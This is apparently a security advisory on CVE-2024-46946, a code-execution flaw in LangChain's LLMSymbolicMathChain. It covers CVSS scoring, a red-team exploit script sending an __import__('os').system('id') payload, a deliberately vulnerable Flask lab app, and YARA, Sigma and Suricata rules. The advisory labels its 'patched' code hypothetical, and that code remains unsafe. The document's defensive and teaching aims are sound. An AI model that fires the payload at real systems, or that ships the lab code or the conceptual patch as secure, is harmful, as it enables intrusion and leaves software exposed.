CVE-2024-46946

Executive Summary

CVE-2024-46946 is a critical remote code execution (RCE) vulnerability in the langchain_experimental package for LangChain, affecting versions 0.1.17 through 0.3.0. The flaw resides in the LLMSymbolicMathChain component, which uses sympy.sympify—a function that internally calls Python's eval()—to process symbolic math expressions. An attacker can craft a malicious mathematical expression that, when evaluated by the LLM chain, executes arbitrary system commands. This vulnerability is particularly dangerous because it can be triggered without authentication, and the langchain_experimental package is often used in AI/LLM pipelines that may be exposed to untrusted user input.

Supply Chain & Package Security

This vulnerability affects the PyPI package langchain_experimental. Users who have installed this package via pip install langchain_experimental are at risk if they use the LLMSymbolicMathChain class. The package is a dependency for many LangChain-based applications, and its use in production environments handling untrusted data increases the attack surface. There is no official patch as of the latest advisory; the recommended mitigation is to avoid using LLMSymbolicMathChain or to implement strict input validation and sandboxing.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The exploit does not affect other components.
• Confidentiality (C): High (H) – Full system compromise possible.
• Integrity (I): High (H) – Arbitrary code execution.
• Availability (A): High (H) – Can disrupt service.

CVSS Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability is trivial to exploit and has a high impact on confidentiality, integrity, and availability.

Deep Dive & Mechanics

The vulnerability is rooted in the LLMSymbolicMathChain class, which is designed to allow LLMs to perform symbolic mathematics using the sympy library. The chain takes user input, passes it to sympy.sympify(), which parses and evaluates the expression. The sympify function uses Python's eval() internally, meaning any Python code embedded in the expression will be executed.

The vulnerable code path is as follows:

1. User input is received by the LLM chain.
2. The input is passed to sympy.sympify() without sanitization.
3. sympify evaluates the expression, allowing arbitrary Python code execution.

For example, an attacker could input a string like __import__('os').system('id') as a mathematical expression. The sympify function would evaluate this, executing the id command on the server.

The commit fcccde406dd9e9b05fc9babcbeb9ff527b0ec0c6 (2023-10-05) introduced LLMSymbolicMathChain, and the vulnerability exists in all versions from 0.1.17 to 0.3.0.

Vulnerable vs. Patched Code

Vulnerable Code (langchain_experimental 0.1.17 - 0.3.0):

from sympy import sympify

class LLMSymbolicMathChain:
    def run(self, expression: str):
        # Directly evaluates user input without sanitization
        result = sympify(expression)
        return result

Patched Code (Hypothetical fix):

from sympy import sympify, sympify_expr
import ast

class LLMSymbolicMathChain:
    def run(self, expression: str):
        # Sanitize input by parsing AST and allowing only safe nodes
        try:
            tree = ast.parse(expression, mode='eval')
            for node in ast.walk(tree):
                if not isinstance(node, (ast.Expression, ast.BinOp, ast.UnaryOp, ast.Num, ast.Name, ast.Load, ast.Add, ast.Sub, ast.Mult, ast.Div, ast.Pow, ast.Mod, ast.Compare, ast.Eq, ast.NotEq, ast.Lt, ast.Gt, ast.LtE, ast.GtE, ast.And, ast.Or, ast.Not, ast.Call, ast.Attribute, ast.Constant)):
                    raise ValueError("Unsafe expression")
            # Use a safe evaluation method
            result = sympify_expr(expression, evaluate=False)
            return result
        except Exception as e:
            raise ValueError(f"Invalid expression: {e}")

Note: The above patched code is a conceptual example. The actual fix should avoid using eval entirely and use a restricted evaluation environment.

Exploitation & Lab Setup

Red Team

Exploit Code (Python):

import requests

# Target URL where LLMSymbolicMathChain is exposed
url = "http://target.com/api/symbolic_math"

# Malicious payload to execute 'id' command
payload = "__import__('os').system('id')"

# Send the request
response = requests.post(url, json={"expression": payload})
print(response.text)

Explanation: The payload __import__('os').system('id') is a Python expression that imports the os module and executes the id command. When passed to sympy.sympify(), it will be evaluated, and the command output will be returned (or the command will be executed silently).

Lab Setup:

1. Install vulnerable version: pip install langchain_experimental==0.1.17
2. Create a simple Flask app that exposes the chain:

from flask import Flask, request, jsonify
from langchain_experimental.llms import LLMSymbolicMathChain

app = Flask(__name__)
chain = LLMSymbolicMathChain()

@app.route('/api/symbolic_math', methods=['POST'])
def symbolic_math():
    data = request.get_json()
    expression = data.get('expression', '')
    result = chain.run(expression)
    return jsonify({"result": str(result)})

if __name__ == '__main__':
    app.run(debug=True, host='0.0.0.0', port=5000)

3. Run the exploit script against http://localhost:5000/api/symbolic_math.

Blue Team

Detection: Monitor for unusual mathematical expressions containing Python built-in functions like __import__, os, system, exec, eval, open, etc. Also look for expressions that include parentheses and dots (e.g., __import__('os').system('id')).

Mitigation: Implement a Web Application Firewall (WAF) rule to block requests containing __import__, os.system, subprocess, or other dangerous Python keywords. Additionally, restrict the use of LLMSymbolicMathChain to trusted users only.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to endpoints using LLMSymbolicMathChain with payloads containing __import__, os.system, exec, eval, or similar Python built-ins.
• File System: Unexpected files created in /tmp/ or other writable directories (e.g., /tmp/exploit.sh).
• Process: Unusual child processes spawned by the Python application (e.g., id, whoami, curl, nc).
• Logs: Application logs showing sympy.sympify errors or unexpected output from mathematical expressions.

Detection Engineering

YARA Rule

rule CVE_2024_46946_LangChain_RCE {
    meta:
        description = "Detects exploitation attempts of CVE-2024-46946 in langchain_experimental"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-46946"
    strings:
        $s1 = "__import__('os')" ascii wide nocase
        $s2 = "os.system" ascii wide nocase
        $s3 = "subprocess" ascii wide nocase
        $s4 = "exec(" ascii wide nocase
        $s5 = "eval(" ascii wide nocase
        $s6 = "sympy.sympify" ascii wide nocase
    condition:
        any of ($s1, $s2, $s3, $s4, $s5) and $s6
}

Sigma Rule

title: CVE-2024-46946 LangChain Experimental RCE
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation of CVE-2024-46946 via malicious mathematical expressions
author: Valters IT
date: 2024/10/27
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 
            - '__import__'
            - 'os.system'
            - 'subprocess'
            - 'exec('
            - 'eval('
    condition: selection
falsepositives:
    - Legitimate use of mathematical functions (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-46946 LangChain Experimental RCE Attempt"; flow:to_server,established; content:"POST"; http_method; content:"__import__"; http_client_body; nocase; content:"os.system"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable or remove the LLMSymbolicMathChain component from your LangChain deployment.
2. Short-term: Implement input validation to block dangerous Python built-ins. Use a whitelist of allowed mathematical functions (e.g., sin, cos, sqrt).
3. Long-term: Upgrade to a patched version of langchain_experimental once available. Monitor the official repository for updates.
4. Compensating Controls: Run the LangChain application in a sandboxed environment (e.g., Docker container with restricted capabilities, seccomp profiles, or a dedicated user with minimal privileges).
5. Network Segmentation: Ensure that the application is not directly exposed to the internet. Use a reverse proxy with WAF capabilities.

Valters IT